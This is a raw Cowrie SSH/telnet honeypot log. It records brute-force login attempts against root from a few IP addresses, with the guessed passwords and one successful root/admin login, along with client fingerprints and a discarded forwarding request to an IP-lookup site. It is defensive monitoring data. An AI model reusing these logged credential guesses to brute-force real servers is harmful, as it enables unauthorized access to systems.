{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:56.161868Z","src_ip":"27.79.44.54","session":"7631e818a865","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"27.79.44.54","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:56.465374Z","session":"7631e818a865","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:56.719066Z","src_ip":"27.79.44.54","session":"7631e818a865","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:56.722809Z","src_ip":"27.79.44.54","session":"7631e818a865","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:56.973948Z","src_ip":"27.79.44.54","session":"7631e818a865","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sevens","message":"login attempt [root/sevens] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:21:05.360705Z","src_ip":"213.209.159.158","session":"76950e5670bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:21:09.048359Z","src_ip":"213.209.159.158","session":"76950e5670bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":35904,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb0746d07401","protocol":"ssh","message":"New connection: 213.209.159.158:35904 (10.17.0.5:22) [session: bb0746d07401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:21:09.128027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:21:11.463743Z","src_ip":"213.209.159.158","session":"bb0746d07401","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:21:11.467984Z","src_ip":"213.209.159.158","session":"bb0746d07401","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sixty","message":"login attempt [root/sixty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:21:21.192982Z","src_ip":"213.209.159.158","session":"bb0746d07401","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:21:24.612573Z","src_ip":"213.209.159.158","session":"bb0746d07401","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":18306,"dst_ip":"10.17.0.5","dst_port":22,"session":"32482689684d","protocol":"ssh","message":"New connection: 213.209.159.158:18306 (10.17.0.5:22) [session: 32482689684d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:21:24.703111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:21:26.863274Z","src_ip":"213.209.159.158","session":"32482689684d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:21:26.867578Z","src_ip":"213.209.159.158","session":"32482689684d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Service1","message":"login attempt [root/Service1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:21:36.926056Z","src_ip":"213.209.159.158","session":"32482689684d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:21:40.313372Z","src_ip":"213.209.159.158","session":"32482689684d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":26400,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee5d1cabb3eb","protocol":"ssh","message":"New connection: 213.209.159.158:26400 (10.17.0.5:22) [session: ee5d1cabb3eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:21:40.398445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:21:43.081239Z","src_ip":"213.209.159.158","session":"ee5d1cabb3eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:21:43.084976Z","src_ip":"213.209.159.158","session":"ee5d1cabb3eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2023","message":"login attempt [root/Server2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:21:52.760481Z","src_ip":"213.209.159.158","session":"ee5d1cabb3eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:21:56.391613Z","src_ip":"213.209.159.158","session":"ee5d1cabb3eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":27518,"dst_ip":"10.17.0.5","dst_port":22,"session":"29cc7ba8bf66","protocol":"ssh","message":"New connection: 213.209.159.158:27518 (10.17.0.5:22) [session: 29cc7ba8bf66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:21:56.448903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:21:58.867887Z","src_ip":"213.209.159.158","session":"29cc7ba8bf66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:21:58.871937Z","src_ip":"213.209.159.158","session":"29cc7ba8bf66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":36058,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8733151eac2","protocol":"telnet","message":"New connection: 212.55.149.117:36058 (10.17.0.5:23) [session: e8733151eac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:05.993914Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"server.2023","message":"login attempt [root/server.2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:08.519077Z","src_ip":"213.209.159.158","session":"29cc7ba8bf66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:12.182811Z","src_ip":"213.209.159.158","session":"29cc7ba8bf66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":33050,"dst_ip":"10.17.0.5","dst_port":22,"session":"83dd82a4c3dc","protocol":"ssh","message":"New connection: 213.209.159.158:33050 (10.17.0.5:22) [session: 83dd82a4c3dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:12.269972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:14.460103Z","src_ip":"213.209.159.158","session":"83dd82a4c3dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:14.463833Z","src_ip":"213.209.159.158","session":"83dd82a4c3dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":22968,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea8d4631f7d7","protocol":"ssh","message":"New connection: 194.59.206.2:22968 (159.203.135.109:22) [session: ea8d4631f7d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:17.354115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:17.359292Z","src_ip":"194.59.206.2","session":"ea8d4631f7d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:17.445276Z","src_ip":"194.59.206.2","session":"ea8d4631f7d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:17.536518Z","src_ip":"194.59.206.2","session":"ea8d4631f7d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"soft1234","message":"login attempt [root/soft1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:24.647771Z","src_ip":"213.209.159.158","session":"83dd82a4c3dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:27.976112Z","src_ip":"213.209.159.158","session":"83dd82a4c3dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":64432,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a5105172481","protocol":"ssh","message":"New connection: 213.209.159.158:64432 (10.17.0.5:22) [session: 0a5105172481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:28.054206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:30.565734Z","src_ip":"213.209.159.158","session":"0a5105172481","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:30.569628Z","src_ip":"213.209.159.158","session":"0a5105172481","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sk123456.","message":"login attempt [root/Sk123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:40.504269Z","src_ip":"213.209.159.158","session":"0a5105172481","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:44.107018Z","src_ip":"213.209.159.158","session":"0a5105172481","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":22748,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef80d29fbb90","protocol":"ssh","message":"New connection: 213.209.159.158:22748 (10.17.0.5:22) [session: ef80d29fbb90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:44.187923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:22:46.592732Z","src_ip":"213.209.159.158","session":"ef80d29fbb90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96